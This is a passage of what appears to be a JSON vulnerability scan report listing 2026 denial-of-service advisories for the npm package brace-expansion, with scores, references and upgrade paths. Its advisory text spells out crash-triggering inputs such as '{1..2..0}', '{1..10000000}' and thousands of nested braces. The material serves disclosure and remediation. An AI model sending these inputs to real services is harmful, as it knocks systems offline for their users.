Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through 